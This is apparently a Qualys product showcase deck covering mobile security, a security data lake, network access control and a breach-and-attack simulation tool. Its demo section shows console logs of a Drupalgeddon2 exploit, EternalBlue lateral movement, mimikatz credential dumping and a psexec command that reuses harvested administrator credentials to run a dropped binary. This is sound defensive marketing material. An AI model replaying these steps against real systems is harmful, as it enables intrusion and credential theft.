

First Look Showcase

Expanding our prevention, detection and response solutions

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Visibility

Identity (X.509, Asset ID, Device ID)

Device Hardware

Network and Interactions

Apps

Analytics

Security Posture







Secure Enterprise Mobility


DASHBOARD INVENTORY USER PROFILES CONFIGURATIONS

Qualys Demo (quays_qd) * 📵 🔤









Security

Vulnerability Management

Asset Lockdown

Asset Hardening

Enterprise Integrations



Protection

Compliance Policies

- On Enrollment


- Continuous Monitoring

Enforcement and Remedial Actions

Policy Management

Containerization





Privacy

DIY Portal

Audit Control

Ownership (Corporate/BYOD)

Transparency



Roadmap

Feb 2019 - Closed Beta

Multiple releases during 2019






Security Analytics & Orchestration

Human Guided Policy-Driven Response

Playbooks for Bi-Dir Ecosystems Integration

BYOP- Bring-Your-Own-Playbook




Detect UNKNOWN threats Using Machine Learning

Hacker Behavioral Analytics

Predictive & Prescriptive SoC



Security Analytics & Orchestration Apps



Characteristics of Data Lake









Collect Anything

Dive in Anywhere

Flexible Access

Future Proof



What is Security Data Lake?

Single data store (single source of truth)

Structured and unstructured data

Data is transformed, normalized, and enriched

Threat Intelligence feed integration, GeoIP etc.

Data has governance, semantic consistency, and access controls

Store-once / Process-once / Use-multiple


Apps, dashboards, data analytics


Cross product search, reporting, visualization

Machine learning, forensics, etc.



Simplified View





Secure Access Control Qualys.

Agenda

What is Secure Access Control

Use-cases

Capabilities

Policy-based orchestration

Operationalizing Secure Access Control

Mockups



Grant access to resources only on a need basis. Block everything else.


Automated asset attribute processing and enforcement without the need for manual action

Limit access (e.g. quarantine) of vulnerable assets

Block vulnerable assets from accessing critical network resources




Asset Inventory - Access control using asset inventory attributes






Vulnerabilities - Quarantine assets if vulnerable






Compliance - Block assets which fail compliance







Policy-based Orchestration


Security Control
























Secure Access Control * DASHBOARD POLICIES MONITORING CONFIGURATION


John Doe (jdoe_quays) ▼ ② 🔛


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














Best of Two Worlds



Reliable first hand data

Appliance enforces

Low latency for data collection

& enforcement

SAC offers both modes



Out of Band

Switches

Multiple enforcement options

Traffic volume agnostic

Powerful Together Unique Value Proposition



Breach & Attack Simulation Qualys.

Problems

Limited assessment scope and capabilities


Red Team operations can get expensive, not scalable, and lack completeness across the enterprise

Lack of confidence in the effectiveness of security investments – prevention and detection

Blue Teams struggle to evaluate the impact of new attacks against their existing security controls



Automated simulation of real-world TTPs mapped to MITRE ATT&CK™ framework



Technical Approach

Automated simulation of real-world TTPs

Scale security assessments across the entire enterprise utilizing Qualys Cloud Agent

Real-time insights mapped to MITRE ATT&CK™ framework

Transition towards defense strategies based on offensive techniques

Continuously measure security control drift over time



Centralized commandand-control framework on Cloud Agent

When enabled, agents function as human adversaries

Non-destructive TTPs or live exploits

```
Qualys Breach and Attack Simulation (v0.1)
>>> help
                            Description
Misc:
cat <file>
                              Show contents of a file
agent <id>
                              Connect to an agent
agents
                              List connected agents
help
                              Show this help menu
kill
                              Kill an active agent connection
                              List files in current directory
cwd
                              Get current working directory
unzip <file>
                              Unzip a file
download <url>
                              Download a file from the asset
upload <url>
                              Upload a file to the asset
Admin:
                              Show IP-MAC pairs from system ARP table
execute <command>
                              Execute a command on the asset
openports
                              Scan and show status for top 1024 TCP ports on the asset
                              Collect metadata about the asset
survey
cleanup
                              Cleanup all traces of agent from the asset
exit
                              Exit the current agent connection
Initial Access:
T1190 - drupalgeddon2
                            Run the Drupalgeddon2 exploit
                            | Run the Apache Struts S2-057 exploit
T1190 - apachestruts
Execution:
T1035 - psexec
                              Run Psexec for command execution
T1191 - cmstp
                              Run CMSTP.exe with a malicious .inf file for file execution
T1173 - windde
                              Use DDE to run arbitrary commands
Persistence:
```


Use case:

Drupalgeddon2

(CVE-2018-7600)

- 1. Remote system discovery
- 2. Exploit Drupal vulnerability to control system
- 3. Laterally spread using ETERNALBLUE

```
[+] Opening up live session with agent #1 (192.168.1.100)
(agent #1) >>> drupalgeddon2
Please provide a URL for a public facing Drupal webapp (https://corpdomain.tld/blog):
[20/Nov/2018] 13:54:50 PM [STATUS]: Testing for T1190: Exploit Public-Facing Application
.
[20/Nov/2018] 13:54:50 PM [T1190][INFORMATION]: Found public facing Drupal web host: https://corpdomain.
[20/Nov/2018] 13:54:50 PM [T1190][INFORMATION]: Drupal 7.46 detected via https://corpdomain.tld/blog/CHA
NGELOG.txt
[20/Nov/2018] 13:54:50 PM [T1190][INFORMATION]: Successfully exploited using Drupalgeddon2 exploit - CVE
[20/Nov/2018] 13:54:51 PM [T1190][INFORMATION]: Dropped file: sda32fds.exe (SHA1: f47a48094c1f21fef892f2
7b8b6a7ed2bbf0c29g)
[20/Nov/2018] 13:54:52 PM [STATUS]: Waiting for connection from sda32fds.exe
[20/Nov/2018] 13:54:52 PM [STATUS]: Connection received on TCP 32282
[20/Nov/2018] 13:54:53 PM [STATUS]: Process infromation sda32fds.exe (SHA1: f4<u>7a48094c1f21fef892f27b8b6a</u>
7ed2bbf0c29g)
[20/Nov/2018] 13:54:54 PM [INFORMATION]: Current QAttack agent privileges: user
20/Nov/2018] 13:54:55 PM [SYSTEMINFO]: Currently logged on user: CORP/user1
20/Nov/2018] 13:54:55 PM [SYSTEMINFO]: Operating system: Windows 7 SP1 (05 Build 6.1.7601)
[20/Nov/2018] 13:54:55 PM [SYSTEMINFO]: Processor: Intel (R) CORE(TM) i7-7700 CPU @ 3.60GHz 3.60GHz
[20/Nov/2018] 13:54:56 PM [SYSTEMINFO]: Installed memory (RAM): 12.0 GB
[20/Nov/2018] 13:54:57 PM [SYSTEMINFO]: System type: 64-bit Operating System, x64-based processor
20/Nov/2018] 13:54:58 PM [SYSTEMINFO]: Locale: EN-US
[20/Nov/2018] 13:54:58 PM [SYSTEMINFO]: Computer name: THINKPAD-111991-M710
[20/Nov/2018] 13:54:59 PM [SYSTEMINFO]: Full computer name: T-111991-M710.corp.domain.com
[20/Nov/2018] 13:55:00 PM [SYSTEMINFO]: Domain: corp.domain.com
[20/Nov/2018] 13:55:01 PM [SYSTEMINFO]: Anti Virus installed: Yes
20/Nov/2018] 13:55:02 PM [SYSTEMINFO]: Anti Virus detected: Symantec Endpoint Protection Small Business
Edition 3.00.30.2232
20/Nov/2018] 13:55:02 PM [STATUS]: T1018: Found 3 neighbors using discovery module
[20/Nov/2018] 13:55:03 PM [INSECURECONFIG]: Found SMB v1 enabled on 192.168.1.101
[20/Nov/2018] 13:55:04 PM [STATUS]: Testing for T1210: Exploitation of Remote Services
[20/Nov/2018] 13:55:05 PM [EXPLOITSUGGESTER]: Launching ETERNALBLUE module against 192.168.1.101
[20/Nov/2018] 13:55:06 PM [T1210][INFORMATION]: Module ETERNALBLUE in progress
[20/Nov/2018] 13:55:07 PM [EXPLOIT]: Sent 308B shellcode
[20/Nov/2018] 13:55:07 PM [EXPLOIT]: Module ETERNALBLUE successful.
[20/Nov/2018] 13:55:08 PM [LATERALMOVEMENT]: Pivoting from 192.168.1.100 to 192.168.1.101 via Module ETE
[20/Nov/2018] 13:55:09 PM [EXPOIT]: QAttack agent copy sent to 192.168.1.101
[20/Nov/2018] 13:55:10 PM [INFORMATION]: QAttack agent information: sdfwe3223d.exe (SHA1: e41a48094c1f21
fef892f27b8b6a7ed2bbf0c29g)
[20/Nov/2018] 13:55:10 PM [STATUS]: All tests complete.
(agent #1) >>>
```



Use case:

Credential Harvesting and Reuse

- Uploading / running mimikatz
- 2. Extracting stored credentials
- 3. Lateral movements


```
* Username : vswin2k8r2sp1be$
  * Domain : WORKGROUP
  * Password : (null)
 credman :
mimikatz(commandline) # exit
Bye!
[20/Nov/2018] 13:58:31 PM [T1003][INFORMATION]: End execution: mimikatz.exe
[20/Nov/2018] 13:58:32 PM [CLEANUP]: Deleted file mimikatz.exe (SHA1: d40a48094c1f21fef892f27a8b6a7ed2bb
f0c27f)
[20/Nov/2018] 13:58:33 PM [T1003][INFORMATION]: Passwords extracted: 4
[20/Nov/2018] 13:58:34 PM [T1003][INFORMATION]: Test successful
(agent #1) >>> cache
+] Showing current cache:
+] passwords:
Category: local
Type: tspkg
Username: Administrator
Password: Abcxxxxxxxx5
Domain: VSWIN2K8R2SP1BE
Category: local
ype: wdigest
Username: Administrator
Password: Abcxxxxxxxx5
Domain: VSWIN2K8R2SP1BE
Category: local
Type: kerberos
Username: Administrator
Password: Abcxxxxxxxx5
Domain: VSWIN2K8R2SP1BE
Category: application:proxy
Type: credman
Jsername: Administrator
Password: Abcxxxxxxxx5
Domain: VSWIN2K8R2SP1BE
(agent #1) >>>
```

Use case:

Credential Harvesting and Reuse

- Uploading / running mimikatz
- 2. Extracting stored credentials
- 3. Lateral movements

```
Domain: VSWIN2K8R2SP1BE
Category: local
Type: wdigest
Username: Administrator
Password: Abcxxxxxxx5
Domain: VSWIN2K8R2SP1BE
Category: local
Type: kerberos
Username: Administrator
Password: Abcxxxxxxx5
Domain: VSWIN2K8R2SP1BE
Category: application:proxy
Type: credman
Username: Administrator
Password: Abcxxxxxxx5
Domain: VSWIN2K8R2SP1BE
(agent #1) >>> lateral
[20/Nov/2018] 14:32:29 PM [STATUS]: Testing for T1077: Windows Admin Share
[20/Nov/2018] 14:32:29 PM [SHARE-SCAN]: Scanning for shares on: 192.168.1.101, 192.168.1.102
[20/Nov/2018] 14:32:30 PM [T1077][INFORMATION]: Windows admin$ share detected on 192.168.1.101
[20/Nov/2018] 14:32:31 PM [T1077][INFORMATION]: Windows admin$ share detected on 192.168.1.102
[20/Nov/2018] 14:32:32 PM [T1077][INFORMATION]: Admin shares enumerated
[20/Nov/2018] 14:32:33 PM [STATUS]: Testing for T1078: Valid Accounts
[20/Nov/2018] 14:32:34 PM [T1078][INFORMATION]: Testing for passwords retrieved using T1003
[20/Nov/2018] 14:32:35 PM [STATUS]: Windows admin$ share detected on 192.168.1.101
[20/Nov/2018] 14:32:36 PM [T1078][INFORMATION]: Credentials detected administrator:Abcxxxxxxx5
[20/Nov/2018] 14:32:37 PM [STATUS]: Attempting lateral movement using re-used credentials
[20/Nov/2018] 14:32:38 PM [STATUS]: Testing for T1035: Service Execution
[20/Nov/2018] 14:32:38 PM [T1035][INFORMATION]: Read psexec.exe location from configuration: \\software\
psexec.exe (SHA1: e50d9e3bd91908e13a26b3e23edeaf577fb3a095)
[20/Nov/2018] 14:32:39 PM [T1035][INFORMATION]: Attempting remote file copy: copy /y \\192.168.1.100\ds3
45gfgd.exe \\192.168.1.101\c$\
[20/Nov/2018] 14:32:39 PM [T1035][INFORMATION]: Running command psexec.exe -accepteula -nobanner -d \\19
2.168.1.101 -u administrator -p Abcxxxxxxxx5 "C:\ds345gfgd.exe"
[20/Nov/2018] 14:32:39 PM [T1035][INFORMATION]: Test successful.
[20/Nov/2018] 14:32:39 PM [T1035][INFORMATION]: End execution: psexec.exe
[20/Nov/2018] 14:32:39 PM [CLEANUP]: Deleted file psexec.exe (SHA1: e50d9e3bd91908e13a26b3e23edeaf577fb3
[20/Nov/2018] 14:32:40 PM [STATUS]: All tests complete.
(agent #1) >>>
```



Benefits

Fully and continuously assess known and emerging TTPs against all applications and operating systems

Red Teams augment manual penetration testing of primary systems with automated testing of secondary and tertiary systems

Empirically measure the effectiveness of security prevention and detection tools

Blue Teams configure current tools to perform better or procure new/replacement tools





First Look Showcase Thank You

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